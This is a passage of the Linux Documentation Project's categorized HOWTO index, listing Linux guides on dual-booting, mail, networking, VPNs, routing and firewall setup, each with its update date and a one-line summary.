    Updated: April 2001. Details how to install Linux on a machine that currently runs Windows 95.

  • Linux+WinNT, Linux+WindowsNT mini-HOWTO

    Updated: May 2002. Covers some ways on how to install both Linux and Windows NT on the same computer and how to boot either of them from within LILO menu.

  • Loadlin+Win95-98-ME, The Loadlin+Win95/98/ME mini-HOWTO

    Updated: February 2001. Describes how to use Loadlin with Windows 95/98/ME to boot to Linux.

  • Loopback-Root-FS, The Loopback Root Filesystem HOWTO

    Updated: September 1999. How to use the Linux loopback device to create a Linux native filesystem format installation that can be run from a DOS partition without re-partitioning.

  • Mac-Terminal, The MacTerminal mini-HOWTO

    Updated: November 1997. How to configure the Mac for use as a Linux terminal.

  • Mail-Queue, Linux Mail-Queue mini-HOWTO

    Updated: December 2001. Configuration changes necessary to make sendmail deliver local mail now; while stashing remote mail in the queue until "I Say So".

  • Mail2News, Mail2News mini-HOWTO

    Updated: November 2000. How to feed a mailing list to a news server.

  • Man-Page, The Linux Man Page mini-HOWTO

    Updated: October 2001. Explains what you should bear in mind when you are going to write on-line documentation -- a so called man page -- that you want to make accessible via the man(1) command.

  • MMBase, MMBase Mini-HOWTO: Installation on Debian Woody

    Updated: October 2001. Describes how to set up MMBase on a Debian GNU/Linux (Woody) system.

  • Modules, Linux Modules Installation mini-HOWTO

    Updated: n/a How to successfully set up Linux with modules configured and working.

  • MP3-CD-Burning, Linux MP3 CD Burning mini-HOWTO

    Updated: April 2002. A complete recipe for creating audio CDs from MP3 files.

  • MSSQL6-Openlink-PHP-ODBC, Connecting to MS SQL 6.x+ via Openlink/PHP/ODBC mini-HOWTO

    Updated: July 1997. How to connect to MS SQL 6.x+ database server via ODBC functions of PHP3 (3.0.1x or above) compiled with Openlink drivers under Linux.

  • Multiboot-with-GRUB, Multiboot with GRUB Mini-HOWTO

    Updated: January 2001. How to install Windows 98, Windows 2000, DOS and Linux using GRUB.

  • Multiboot-with-LILO, Win95 + WinNT + Linux multiboot using LILO mini-HOWTO

    Updated: March 1998. How to multiboot between Windows 95, Windows NT, and Linux.

  • Multi-Distro-Dev, Development for Multiple Linux Distributions mini-HOWTO

    Updated: December 2001. Outlines a quick hack to aid in developing and testing user-space programs for multiple Linux distributions.

  • NCD-X-Terminal, NCD X terminal mini HOWTO

    Updated: March 2000. How to connect an NCD X terminal to a UNIX host.

  • Netrom-Node, Netrom-Node mini-Howto

    Updated: October 1998. How to setup the ax25-utilities package for Amateur Radio such that it makes Netrom Nodes for the Node program and the BBS software from John-Paul Roubelat, F6FBB.

  • Netscape+Proxy, HOWTO for inHouse IntraNet

    Updated: August 1997. Describes the procedure to set up a NETWORK (INTRANET) at your home. Then we shall setup the network such that NETSCAPE Clients can be used on ANY machine to access the internet. . .

  • News-Leafsite, News Leafsite mini-HOWTO

    Updated: December 2001. This will help you to configure a small leafsite for Usenet News using the free software package Leafnode.

  • NFS-Root, NFS-Root mini-HOWTO

    Updated: August 1997. How to setup a ``disc-less'' Linux workstation, which mounts it's root filesystems via NFS.

  • NFS-Root-Client-mini-HOWTO, NFS-Root-Client Mini-HOWTO

    Updated: February 1999. How to create client root directories on a server that is using NFS Root mounted clients.

  • Nvidia-OpenGL-Configuration, Nvidia OpenGL Configuration mini-HOWTO

    Updated: January 2002. How to install the OpenGL drivers for Nvidia graphics cards on Linux. Also explains how to install XFree86, the OpenGL Utility library (part of Mesa), the OpenGL Utility Toolkit (glut), etc.

  • Offline-Mailing, Linux off-line mailing method (offline mailaddr with 1 account)

    Updated: June 1998. Use your linux mailing system offline, receive mail for multiple users with only one email address, and without being 24-24 online.

  • Outlook-to-Unix-Mailbox, MS Outlook to Unix Mailbox Conversion mini HOWTO

    Updated: January 2002. Covers conversion of old email in Microsoft Outlook (not Outlook Express!) to typical Unix file formats.

  • Pager, The Linux Alphanumeric Pager Gateway Mini-HOWTO

    Updated: July 2001. Discusses the compilation and installation of e-mail to Pager gateway.

  • Partition, Linux Partition HOWTO

    Updated: July 2001. Teaches you how to plan and layout disk space for your Linux system.

  • Partition-Rescue, Partition Rescue mini HOWTO

    Updated: November 2001. Describes how to rescue your Linux partition if it has been deleted.

  • Path, PATH HOWTO

    Updated: November 1997. Describes common tricks and problems with Unix / Linux environment variables, especially with PATH variable.

  • PCTel-MicroModem-Config, PCTel HSP MicroModem Configuration mini-HOWTO

    Updated: March 2002. Make your PCTel HSP MicroModem work in Linux.

  • Pine-Exchange, Pine-Exchange mini-HOWTO

    Updated: March 2002. Documents the configuration of the Pine email client to be used with a Microsoft Exchange Server.

  • PLIP, LINUX PLIP mini-HOWTO

    Updated: March 1998. Will hopefully let you build and use a Parallel Line Interface Protocol.

  • PortSlave, PortSlave How-To using the Linux Router

    Updated: October 2000. A beginning document for using Portslave with the Linux router.

  • ppp-ssh, VPN PPP-SSH Mini-HOWTO

    Updated: January 2002. A PPP-SSH VPN is probably the easiest type of VPN to set up. It uses nothing more than the very common PPP and SSH utilities to form an encrypted network tunnel between two hosts.

  • Pre-Installation-Checklist, GNU/Linux Pre-Installation Checklist

    Updated: November 2000. An aide-memoire which may make installation of Linux a pleasant experience for you.

  • Post-Installation-Checklist, GNU/Linux Post-Installation Checklist

    Updated: June 2001. Provides a checklist for steps you should take immediately after installing GNU/Linux.

  • Print2Win, The Linux Print2Win mini-HOWTO

    Updated: January 2002. Contains the general configuration to get linux printing to a Windows print share.

  • Process-Accounting, Enabling Process Accounting on Linux

    Updated: February 2001. Describes the basics of enabling process accounting on Linux.

  • Programming-Languages, Programming Languages mini-HOWTO

    Updated: July 2000. A brief comparison of major programming languages for Linux and major libraries for creating graphical user interfaces (GUIs) under Linux.

  • Proxy-ARP-Subnet, ProxyARP Subnetting HOWTO

    Updated: August 2000. Discusses using Proxy Address Resolution Protocol (ARP) with subnetting in order to make a small network of machines visible on another Internet Protocol (IP) subnet.

  • Public-Web-Browser, Linux web browser station

    Updated: October 2000. Describes the setup of Internet kiosk-type system based on Linux to be deployed to provide public Internet/webmail access.

  • Qmail+MH, mini-HOWTO install qmail with MH

    Updated: March 1998. Installation experiences to offer some help to other users who wish to use this combination for their email.

  • Quota, Quota mini-HOWTO

    Updated: April 2002. How to enable file system quota on a Linux host, assigning quota for users and groups, as well as the usage of miscellaneous quota commands.

  • RCS, The RCS mini-HOWTO

    Updated: August 1997. Covers basic installation and usage of RCS, the GNU Revision Control System, under Linux.

  • Remote-Boot, Linux Remote-Boot mini-HOWTO: Configuring Remote-Boot Workstations with Linux, DOS, Windows 95/98 and Windows NT

    Updated: February 1999. How to set up a very robust and secure server-based configuration for a cluster of PCs, allowing each client to choose at boot-time which operating system to run.

  • Remote-X-Apps, Remote X Apps mini-HOWTO

    Updated: December 2001. How to run remote X applications.

  • RPM+Slackware, RPM+Slackware Mini-Howto

    Updated: April 1998. How to get RPM installed and working properly under Slackware.

  • Saving-Space, Saving Space mini-HOWTO

    Updated: April 1999. Directions for squeezing your Linux installation into the least possible space. Particularly aimed at notebook users.

  • Secure-POP+SSH, Secure POP via SSH mini-HOWTO

    Updated: September 1998. How to set up secure POP connections using ssh.

  • Sendmail+UUCP, Sendmail+UUCP HOWTO

    Updated: May 1998. How to setup a single machine with no direct access to the internet to route mail for you via sendmail and UUCP to a 'smarter host' (eg. your ISP).

  • Sendmail-Address-Rewrite, sendmail address rewriting mini-HOWTO

    Updated: May 1998. A brief description of how to set up sendmail's configuration file for the home user's dial-up access.

  • SLIP-PPP-Emulator, SLIP/PPP Emulator mini-HOWTO

    Updated: February 2001. Describes how to get your Linux box to connect to a generic site via a SLIP/PPP emulator, such as SLiRP or TIA.

  • Small-Memory, Small Memory Mini-HOWTO

    Updated: December 2000. How to run Linux on a system with a small amount of memory.

  • Soundblaster-AWE, Sound Blaster AWE 32/64 HOWTO

    Updated: January 1998. How to install and configure a Sound Blaster 32 (SB AWE 32, SB AWE 64) card from Creative Labs in a Linux System using the AWE Sound Driver Extension written by Takashi Iwai. It also covers some special tools and players for the SB AWE series.

  • StarOffice, StarOffice 3.1 Mini-HOWTO

    Updated: November 1999. Information on installing the StarOffice 3.1 Office Suite by StarDivision.

  • Swap-Space, Linux Swap Space Mini-HOWTO

    Updated: January 2000. How to share your Linux swap partition with Windows.

  • Sybase-PHP-Apache, Sybase-PHP-Apache mini-HOWTO

    Updated: July 2001. Explains how to set up a Linux machine to run an Apache web server using PHP to access a Sybase-ASE database.

  • Term-Firewall, Using Term to Pierce an Internet Firewall

    Updated: July 1996. Directions for using ``term'' to do network stuff through a TCP firewall that you're not supposed to be able to.

  • TkRat, TkRat mini-HOWTO

    Updated: September 1999. Geared toward anyone interested in using their Linux computer to send and receive Internet E-Mail.

  • Token-Ring, Token-Ring mini-HOWTO

    Updated: January 2002. Designed to help you get up and running using a Token Ring adaptor to access the network.

  • TransparentProxy, Transparent Proxy with Squid mini-HOWTO

    Updated: January 2002. Provides information on how to setup a transparent caching HTTP proxy server using only Linux and squid.

  • TT-Debian, TrueType Fonts in Debian mini-HOWTO

    Updated: January 2000. How to configure a Debian system to use TrueType fonts for display and printing.

  • TT-XFree86, TrueType Fonts with XFree86 4.0.x mini-HOWTO

    Updated: February 2001. Describes how to use TrueType (*.ttf) fonts with XFree86 4.0.x.

  • Ultra-DMA, The Linux Ultra-DMA Mini-Howto

    Updated: December 2001. How to use Ultra-DMA aka Ultra-ATA aka Ultra33 and Ultra66 hard drives and interfaces with Linux.

  • Update, The Staying Updated mini-HOWTO

    Updated: October 2000. How to stay updated and abreast of the development that takes place in the Linux world of development.

  • Upgrade, Upgrading Your linux Distribution mini-HOWTO

    Updated: March 2002. Hints and tips on upgrading from one linux distribution to another.

  • VAIO+Linux, Linux on Sony VAIO mini-HOWTO

    Updated: September 1998. This document explains installation of Linux on Sony VAIO computers.

  • Virtual-Web, Virtual Web mini-HOWTO

    Updated: June 2001. Discuss the essentials of setting up a Virtual Web Site under Linux.

  • Visual-Bell, Visible bell mini-Howto

    Updated: December 2001. How to use termcap to configure a visual bell on one's system and describes how to disable audible bells on demand.

  • VPN, The VPN HOWTO

    Updated: December 2001. How to setup a Virtual Private Network.

  • Wacom-USB-mini-HOWTO, Wacom Graphire USB Mini-HOWTO

    Updated: June 2000. How to setup a Wacom Graphire USB tablet for use with Linux.

  • Wireless-Link-sys-WPC11, Link-sys WPC11 Mini-HOWTO

    Updated: April 2002. How to set up a Wireless Link-Sys WPC11 card using a Link-SYS Wireless Access Point/DSL/Switch on a Debian system.

  • WordPerfect, WordPerfect Mini-howto

    Updated: August 1997. Discusses running WordPerfect on Linux, including a brief discussion on the WordPerfect 7.0 beta.

  • X-Big-Cursor, X11-big-cursor mini-HOWTO

    Updated: August 1997. How to use enlarged mouse cursors with the X window system.

  • XDM-Xterm, XDM and X Terminal mini-HOWTO

    Updated: May 2002. Describes the basic ideas for using XDM to manage X terminals. It is not meant to be a comprehensive discussion of all the features of XDM, but a gentle introduction to what XDM can to for X terminals.

  • XFree86-Second-Mouse, Second Mouse in X mini-HOWTO

    Updated: November 2001. Quick instructions to enable a second mouse in X.

  • XFree86-XInside, Linux XFree-to-Xinside mini-HOWTO

    Updated: September 1997. How to convert an XFree86 modeline into an XInside/XiGraphics one.

  • Xterm-Title, How to change the title of an xterm

    Updated: October 1999. How to use escape sequences to dynamically change window and icon titles of an xterm.

  • ZIP-Drive, Zip Drive Mini-HOWTO

    Updated: March 2002. Provides a quick reference quide on setting up and using the Iomega ZIP drive with Linux.

  • ZIP-Install, Installing Linux on ZIP disk using ppa ZIP Drive Mini-Howto

    Updated: January 1998. This document is only useful for those with the printer port version of a ZIP drive who wish to have either a portable or backup Linux system on a ZIP disk.

Prev | Home | Next
Single list of HOWTOs |  | Unmaintained HOWTOs


Miscellaneous

LDP HOWTO-INDEX
Prev Chapter 4. Categorized List of HOWTOs Next

4.8. Miscellaneous

Topics covered in this section include:

Section 4.8.1 Authoring / Documentation
Section 4.8.2 Linux Advocacy / Getting (and Staying) Involved
Section 4.8.3 Hobbies and Special Interests

4.8.1. Authoring / Documentation

  • DocBook-Install, DocBook Install mini-HOWTO

    Updated: February 2002. A detailed practical guide for novices to quickly getting DocBook installed and processing SGML files into HTML, PostScript and PDF on a GNU/Linux system.

  • HOWTO-HOWTO, HOWTO HOWTO

    Lists the tools, procedures, and hints to get LDP authors up to speed and writing.

    Replaced by the LDP Author Guide.

  • Howtos-with-LinuxDoc, Howtos-with-LinuxDoc mini-HOWTO

    Updated: March 2001. This is about how to write HOWTOs using the simple LinuxDoc markup. It's primarily for Linux Documentation Project authors (and future fledging authors who want to get started fast). If you want to use the more advanced DocBook markup (including XML) see the LDP Author Guide.

  • LDP-Reviewer-HOWTO, Linux Documentation Project Reviewer HOWTO

    Updated: May 2001. This document will help you review LDP documentation. It includes procedures, tips and techniques to make the process easier.

  • LinuxDoc+Emacs+Ispell-HOWTO, LinuxDoc+Emacs+Ispell HOWTO

    Updated: February 1998. Aimed at writers and translators of Linux HOWTOs or any other paper for the Linux Documentation Project. Gives hints at using tools including Emacs and Ispell.

  • Linuxdoc-Reference, Linuxdoc Reference - An Introduction to the linuxdoc DTD

    Updated: January 2000. Intended to be a reference for the SGML document type definition linuxdoc.

  • Man-Page, The Linux Man Page mini-HOWTO

    Updated: October 2001. Explains what you should bear in mind when you are going to write on-line documentation -- a so called man page -- that you want to make accessible via the man(1) command.

  • WikiText-HOWTO, LDP WikiText Editing HOWTO

    Updated: January 2002. Explains how to use the LDP WikiText editing format to create DocBook documents for the LDP.

4.8.2. Linux Advocacy / Getting (and Staying) Involved

  • Advocacy, Linux Advocacy mini-HOWTO

    Updated: May 2000. Suggestions for how the Linux community can effectively advocate the use of Linux.

  • Commercial-Port-Advocacy, Commercial Port Advocacy mini-HOWTO

    Updated: December 1999. Discusses methods that can be used to approach commercial software companies to convince them to port their programs to Linux.

  • Linux Consultants HOWTO

    A listing of companies providing commercial Linux related support.

    Replaced by the Linux Consultants Guide.

  • Event-HOWTO, Event HOWTO

    Updated: November 2000. The purpose of this document is to show you how to create good presentations for almost any sort of Linux event.

  • META-FAQ, Linux Meta-FAQ

    Updated: October 1997. Mainly a list of valuable sources of information for Linux. Use these sources if you want to learn more about Linux, or have problems and need help.

  • Online-Troubleshooting-HOWTO, Online Troubleshooting Resources HOWTO

    Updated: March 2002. Directs Linux users to resources available on the Internet that provide access to a vast amount of Linux-related information useful in troubleshooting problems.

  • Reading-List-HOWTO, The Linux Reading List HOWTO

    Updated: June 2001. Lists the books the author thinks are most valuable to a person trying to learn Unix (especially Linux) top to bottom.

  • Update, The Staying Updated mini-HOWTO

    Updated: October 2000. How to stay updated and abreast of the development that takes place in the Linux world of development.

  • User-Group-HOWTO, Linux User Group HOWTO

    Updated: April 1998. A guide to founding, maintaining, and growing a Linux User Group.

  • VAR-HOWTO, Linux VAR HOWTO

    Updated: August 1999. Contains a listing of service companies which do not manufacture hardware or create packaged software, but add value to existing products.

4.8.3. Hobbies and Special Interests

  • Accessibility-HOWTO, Linux Accessibility HOWTO

    Updated: October 2001. Covers the use of adaptive technologies that are available for Linux.

  • Accessibility-Dev-HOWTO, How to Develop Accessible Linux Applications

    Updated: May 2002. Provides Linux software developers with guidelines and test cases for developing accessible Linux applications.

  • Astronomy-HOWTO, Linux Astronomy HOWTO

    Updated: June 2001. Document shares tips and resources to utilize Linux solutions in the pursuit of Astronomy.

  • AX25-HOWTO, Linux Amateur Radio AX.25 HOWTO

    Updated: September 2001. How to install and configure support for the AX. 25 packet radio protocol utilized by Amateur Radio Operators worldwide.

  • Coffee, COFFEE-HOWTO

    Updated: November 2000. Yes, Linux DOES make coffee, and it tastes good.

  • Ecology-HOWTO, Linux Ecology HOWTO

    Updated: November 2000. Discusses ways Linux computers can be used as a means to protect our environment, by using its features to save power or paper.

  • FBB, FBB Packet-radio BBS mini-HOWTO

    Updated: November 2001. Covers the installation and use of the most popular amateur packet-radio BBS software FBB.

  • Home-Electrical-Control, Home Electrical Device Control mini HOWTO

    Updated: February 2002. Use Linux to control your home electrical devices.

  • Medicine-HOWTO, Linux Medicine-HOWTO

    Updated: April 2002. Some pointers to Linux software (mostly GPLed) for the medical sciences.

  • Netrom-Node, Netrom-Node mini-Howto

    Updated: October 1998. How to setup the ax25-utilities package for Amateur Radio such that it makes Netrom Nodes for the Node program and the BBS software from John-Paul Roubelat, F6FBB.

  • Wearable-HOWTO, Wearable HOWTO

    Updated: November 2000. Nomadism is one of the major trends of our society, now most of the people can work with a laptop computer, but few did the next step: to live, or if you prefer to wear one computer - that is a wearable.

Prev | Home | Next
Other (human) Languages | Up | Single list of HOWTOs


Networking

LDP HOWTO-INDEX
Prev Chapter 4. Categorized List of HOWTOs Next

4.4. Networking

Topics covered in this section include:

Section 4.4.1 General
Section 4.4.2 Protocols
Section 4.4.3 Dial-up
Section 4.4.4 DNS
Section 4.4.5 Virtual Private Networks
Section 4.4.6 Bridging
Section 4.4.7 Routing
Section 4.4.8 Security
Section 4.4.9 Telephony / Satellite
Section 4.4.10 Miscellaneous

4.4.1. General

  • Networking-Overview-HOWTO, The Linux Networking Overview HOWTO

    Updated: July 2000. Overview of the networking capabilities of the Linux Operating System; provides pointers for further information and implementation details.

  • Net-HOWTO, Linux Networking HOWTO

    Updated: December 2000. Information about networking for Linux (relates only to version 4 of the Linux Networking Kernel or more specifically kernel releases 2.x and 2.2.x).

    Previously called the Net 3/4 and Net-3 HOWTOs.

  • ADSL-Bandwidth-Management-HOWTO, ADSL Bandwidth Management HOWTO

    Updated: August 2001. Describes how to configure a linux router to more effectively manage outbound traffic on an ADSL modem.

  • Bandwidth-Limiting-HOWTO, Bandwidth Limiting HOWTO

    Updated: November 2001. Describes how to set up your Linux server to limit download bandwidth or incoming traffic, and how to use your internet link more efficiently.

  • Cable-Modem, Cable Modem Providers HOWTO

    Updated: June 2001. Answers basic questions on how to connect your Linux box to cable modem or cable Internet provider.

  • DHCP, DHCP mini-HOWTO

    Updated: October 2000. Answers basic questions on how to set up your Linux box to serve as a DHCP server or a DHCP client.

  • Diskless-root-NFS-HOWTO, Root over nfs clients & server HOWTO

    Updated: March 1999. How to setup a server and configure clients for diskless operation from a network.

  • Diskless-root-NFS-other-HOWTO, Root over NFS - Another Approach

    Updated: September 2001. Another approach to Diskless-root-NFS-HOWTO.

  • Diskless-HOWTO, Diskless Nodes HOWTO for Linux

    Updated: February 2002. How to set up a diskless Linux box.

  • Divert-Sockets-mini-HOWTO, Divert Sockets mini-HOWTO

    Updated: February 2000. Describes how to get, compile and use FreeBSD divert sockets under Linux 2.2.12.

  • Domain, Setting Up Your New Domain Mini-HOWTO

    Updated: October 2000. Outlines the things you will probably have to do when you want to set up a network of computers under your own domain.

  • DSL-HOWTO, DSL HOWTO for Linux

    Updated: January 2002. Examines the DSL family of high speed Internet services now being deployed in various markets worldwide. Information is included on the technology behind DSL as well as subscribing, installing, configuring, and troubleshooting, with an emphasis on how this impacts Linux users.

  • IP-Subnetworking, IP Sub-Networking mini-HOWTO

    Updated: August 2001. Describes why and how to subnetwork an IP network - that is using a single A, B or C Class network number to function correctly on several interconnected networks.

  • IP-Alias, Setting Up IP Aliasing On A Linux Machine Mini-HOWTO

    Updated: January 2001. How to set up and run IP aliasing on a Linux box.

  • Leased-Line, Leased line mini-HOWTO

    Updated: August 2000. Configuring your modem and pppd to use a 2 wire twisted pair leased line.

  • Modem-HOWTO, Modem HOWTO

    Updated: January 2002. Help with selecting, connecting, configuring, trouble-shooting, and understanding modems for a PC.

  • Modem-Dialup-NT-HOWTO, Modem-Dialup-NT HOW-TO

    Updated: February 2002. Helps you to setup a modem to do Dial-up Networking with a remote server like Windows NT RAS or Linux RAS (Remote Access Server).

  • Multicast-HOWTO, Multicast over TCP/IP HOWTO

    Updated: March 1998. Tries to cover most aspects related to multicast over TCP/IP networks.

  • Netscape+Proxy, HOWTO for inHouse IntraNet

    Updated: August 1997. Describes the procedure to set up a NETWORK (INTRANET) at your home. Then we shall setup the network such that NETSCAPE Clients can be used on ANY machine to access the internet. . .

  • Network-boot-HOWTO, Network boot and exotic root HOWTO

    Updated: December 2001. Explains how to quickly setup a linux server to provide what diskless linux clients require to get up and running, using an IP network.

  • NIS-HOWTO, The Linux NIS(YP)/NYS/NIS+ HOWTO

    Updated: November 2000. How to configure Linux as NIS(YP) or NIS+ client and how to install as a NIS server.

  • NFS-HOWTO, NFS HOWTO

    Updated: December 2000. How to set up NFS clients and servers.

  • Proxy-ARP-Subnet, ProxyARP Subnetting HOWTO

    Updated: August 2000. Discusses using Proxy Address Resolution Protocol (ARP) with subnetting in order to make a small network of machines visible on another Internet Protocol (IP) subnet.

  • Remote-Boot, Linux Remote-Boot mini-HOWTO: Configuring Remote-Boot Workstations with Linux, DOS, Windows 95/98 and Windows NT

    Updated: February 1999. How to set up a very robust and secure server-based configuration for a cluster of PCs, allowing each client to choose at boot-time which operating system to run.

  • Remote-X-Apps, Remote X Apps mini-HOWTO

    Updated: December 2001. How to run remote X applications.

  • Token-Ring, Token-Ring mini-HOWTO

    Updated: January 2002. Designed to help you get up and running using a Token Ring adaptor to access the network.

  • Windows-LAN-Server-HOWTO, Windows LAN server HOW-TO

    Updated: September 2000. Intended to assist those who wish to consider Linux as a server within an office environment which has PC's primarily running Microsoft Windows 9x.

4.4.2. Protocols

  • ATM-Linux-HOWTO, ATM on Linux HOWTO

    Updated: October 2001. Describes how to install, setup, and configure the necessary drivers and tools to support ATM networking under Linux.

  • Compressed-TCP, Compressed TCP/IP-Sessions using SSH-like tools

    Updated: April 2000. Discusses how to compress data streams.

  • Ethernet-HOWTO, Linux Ethernet HOWTO

    Updated: October 2000. Information about which ethernet devices can be used for Linux, and how to set them up (focused on the hardware and low level driver aspect of the ethernet cards; see Network HOWTO for software configuration information).

  • Linux+IPv6-HOWTO, Linux IPv6 HOWTO

    Updated: March 2002. The goal of this HOWTO is to answer both basic and advanced questions about IPv6 on the Linux operating system. This HOWTO will provide the reader with enough information to install, configure, and use IPv6 applications on Linux machines.

  • IPX-HOWTO, Linux IPX HOWTO

    Updated: May 1998. How to obtain, install and configure various tools available for the Linux operating system that use the Linux kernel IPX protocol support.

  • LDAP-HOWTO, LDAP Linux HOWTO

    Updated: July 2001. Information about installing, configuring, running and maintaining a LDAP (Lightweight Directory Access Protocol) Server on a Linux machine.

  • LDAP-Implementation-HOWTO, LDAP Implementation HOWTO

    Updated: March 2001. Describes the technical aspects of storing application data in a LDAP server. It focuses on the configuration of various applications to make them LDAP-aware.

  • PLIP, LINUX PLIP mini-HOWTO

    Updated: March 1998. Will hopefully let you build and use a Parallel Line Interface Protocol.

  • PLIP-Install-HOWTO, PLIP Install HOWTO

    Updated: December 2001. How to install a Gnu/Linux distribution on a computer without Ethernet card, nor cdrom, but just a local floppy drive and a remote nfs server attached by a Null-Modem parallel cable.

  • PPP-HOWTO, Linux PPP HOWTO

    Updated: July 2000. How to connect your Linux PC to a PPP server, how to use PPP to link two LANs together; provides one method of setting up your Linux computer as a PPP server. The document also provides help in debugging non-functional PPP connections.

  • ppp-ssh, VPN PPP-SSH Mini-HOWTO

    Updated: January 2002. A PPP-SSH VPN is probably the easiest type of VPN to set up. It uses nothing more than the very common PPP and SSH utilities to form an encrypted network tunnel between two hosts.

  • SLIP-PPP-Emulator, SLIP/PPP Emulator mini-HOWTO

    Updated: February 2001. Describes how to get your Linux box to connect to a generic site via a SLIP/PPP emulator, such as SLiRP or TIA.

  • SMB-HOWTO, SMB HOWTO

    Updated: April 2000. How to use the Server Message Block (SMB) protocol, also called the Session Message Block, NetBIOS or LanManager protocol, with Linux using Samba.

  • Wireless-HOWTO, Wireless HOWTO for Linux Systems

    Updated: May 2002. Document explains how to setup Wireless in Linux, compatibility problems, something about geographic requirements and more.

  • Wireless-Link-sys-WPC11, Link-sys WPC11 Mini-HOWTO

    Updated: April 2002. How to set up a Wireless Link-Sys WPC11 card using a Link-SYS Wireless Access Point/DSL/Switch on a Debian system.

  • Wireless-Sync-HOWTO, Wireless Sync HOWTO

    Updated: December 2001. Explains how to perform a wireless, network sync between a Handspring Visor and jpilot or jpilot-sync.

4.4.3. Dial-up

  • BTI-PPP, BTinternet PPPd mini-HOWTO

    Updated: March 2002. Describes how to setup a modem PPPd link to Btinternet in the UK.

  • Call-back call-back mini HOWTO

    Updated: October 2001. How to set up call-back by using the Linux system and modem.

  • Diald-HOWTO, Diald HOWTO

    Updated: April 2000. Shows some typical scenarios for easy start using Diald. Replaces the Diald mini-HOWTO.

  • ISP-Connectivity, ISP-Connectivity mini-HOWTO

    Updated: November 2001. How to setup PPP, connect up to your ISP, configure mail and news, get a permanent IP (if available), get a domain name, and have a bona fide system running in a little over thirty minutes.

  • ISP-Hookup-HOWTO, ISP-Hookup HOWTO

    Updated: March 1998. How to use Linux to connect to an Internet Service Provider via a dial-up modem TCP/IP connection (basic dial-up procedure and IP establishment, email and news handling is covered).

4.4.4. DNS

  • Chroot-BIND-HOWTO, Chroot-BIND HOWTO

    Updated: December 2001. Describes installing the BIND 9 nameserver to run in a chroot jail and as a non-root user, to provide added security and minimise the potential effects of a security compromise.

  • Chroot-BIND8-HOWTO, Chroot-BIND8 HOWTO

    Updated: July 2001. Describes installing the BIND 8 nameserver to run in a chroot jail and as a non-root user, to provide added security and minimise the potential effects of a security compromise.

  • DNS-HOWTO, DNS HOWTO

    Updated: December 2001. How to become a totally "small time" DNS admin.

4.4.5. Virtual Private Networks

  • VPN-HOWTO, VPN HOWTO

    Updated: December 2001. How to set up a Virtual Private Network with Linux.

  • VPN-Masquerade-HOWTO, Linux VPN Masquerade HOWTO

    Updated: October 2000. How to configure a Linux firewall to masquerade IPsec- and PPTP-based Virtual Private Network traffic, allowing you to establish a VPN connection without losing the security and flexibility of your Linux firewall's internet connection and allowing you to make available a VPN server that does not have a registered internet IP address.

  • Cipe+Masq, The Linux Cipe+Masquerading mini-HOWTO

    Updated: April 1999. How to setup a VPN using Cipe on a linux masquerading firewall.

  • Firewall-Piercing, Firewall Piercing mini-HOWTO

    Updated: November 2001. Directions for using ppp over telnet to do network activities transparently through an Internet firewall.

  • MindTerm-SSH-HOWTO, Encrypted Tunnels using SSH and MindTerm HOWTO

    Updated: June 2001. How to use SSH and the Java-based program MindTerm to create quick, secure, and reliable VPN-like tunnels over insecure networks.

  • ppp-ssh, VPN PPP-SSH Mini-HOWTO

    Updated: January 2002. A PPP-SSH VPN is probably the easiest type of VPN to set up. It uses nothing more than the very common PPP and SSH utilities to form an encrypted network tunnel between two hosts.

4.4.6. Bridging

  • BRIDGE-STP-HOWTO, Linux BRIDGE-STP-HOWTO

    Updated: January 2001. Describes how to setup a bridge with the recent kernel patches and brctl utility by Lennert Buytenhek. With developer kernel 2.3.47 the new bridging code is part of the mainstream. On 20.06.2000 there are patches for stable kernels 2.2.14 and 2.2.15. What happens if a penguin crosses a bridge?

  • Bridge, Bridging mini-HOWTO

    Updated: May 2002. Describes how to setup an ethernet bridge.

  • Bridge+Firewall, Linux Bridge+Firewall Mini-HOWTO

    Updated: December 1997. A bridge is an intelligent connection wire between two network cards. A firewall is an intelligent insulator.

  • Bridge+Firewall+DSL, Bridge + Firewall + DSL Mini-HOWTO

    Updated: November 2000. Configuring a Linux system to act as a firewall and bridge with a DSL network connection.

4.4.7. Routing

  • Adv-Routing-HOWTO, Linux Advanced Routing & Traffic Control HOWTO

    Updated: December 2001. A very hands-on approach to iproute2, traffic shaping and a bit of netfilter.

  • Querying-libiptc-HOWTO, Querying libiptc HOWTO

    Updated: April 2002. Explains how to use the libiptc library included in the iptables package and how to use programs to query the internal structures.

  • PortSlave, PortSlave How-To using the Linux Router

    Updated: October 2000. A beginning document for using Portslave with the Linux router.

  • IP-Masquerade-HOWTO, Linux IP Masquerade HOWTO

    Updated: April 2002. How to enable the Linux IP Masquerade feature on a given Linux host.

  • Masquerading-Simple-HOWTO, Masquerading Made Simple HOWTO

    Updated: February 2002. Describes how to enable the Linux IP Masquerade feature on a given Linux host. Should be used as a complement to the the IP-Masquerade-HOWTO.

4.4.8. Security

  • Authentication-Gateway-HOWTO, Authentication Gateway HOWTO

    Updated: May 2002. Document explains how to setup an authentication gateway.

  • Bridge+Firewall, Linux Bridge+Firewall Mini-HOWTO

    Updated: December 1997. A bridge is an intelligent connection wire between two network cards. A firewall is an intelligent insulator.

  • Bridge+Firewall+DSL, Bridge + Firewall + DSL Mini-HOWTO

    Updated: November 2000. Configuring a Linux system to act as a firewall and bridge with a DSL network connection.

  • Domain, Setting Up Your New Domain Mini HOWTO

    Updated: October 2000. Outlines the things you will probably have to do when you want to setup a network of computers under your own domain. Covers configuration of network parameters, network services, and security settings.

  • Firewall-HOWTO, Firewall and Proxy Server HOWTO

    Updated: February 2000. Designed to describe the basics of firewall systems and give you some detail on setting up both a filtering and proxy firewall on a Linux based system.

  • Firewall-Piercing, Firewall Piercing mini-HOWTO

    Updated: November 2001. Directions for using ppp over telnet to do network activities transparently through an Internet firewall.

  • Sentry-Firewall-CD-HOWTO, Sentry Firewall CD HOWTO

    Updated: March 2002. An introduction on how the Sentry Firewall CDROM works and how to get started using the system.

  • Snort-Statistics-HOWTO, Snort-Setup for Statistics HOWTO

    Updated: February 2002. Describes how to configure Snort version 1.8.3 to be used in conjunction with the statistical tools ACID (Analysis Console for Intrusion Databases) and SnortSnarf.

  • SSL-Certificates-HOWTO, SSL Certificates HOWTO

    Updated: May 2002. How to manage a certificate authority (CA), and issue or sign certificates to be used for secure web, secure e-mail, or signing code and other usages.

  • SSL-RedHat-HOWTO, Building a Secure RedHat Apache Server HOWTO

    Updated: February 2001. Explains how PKI and SSL work together. It is essential to understand how the SSL protocol works to successfully deploy a secure server.

4.4.9. Telephony / Satellite

  • Sat-HOWTO, Sat (Satellite Technology) HOWTO

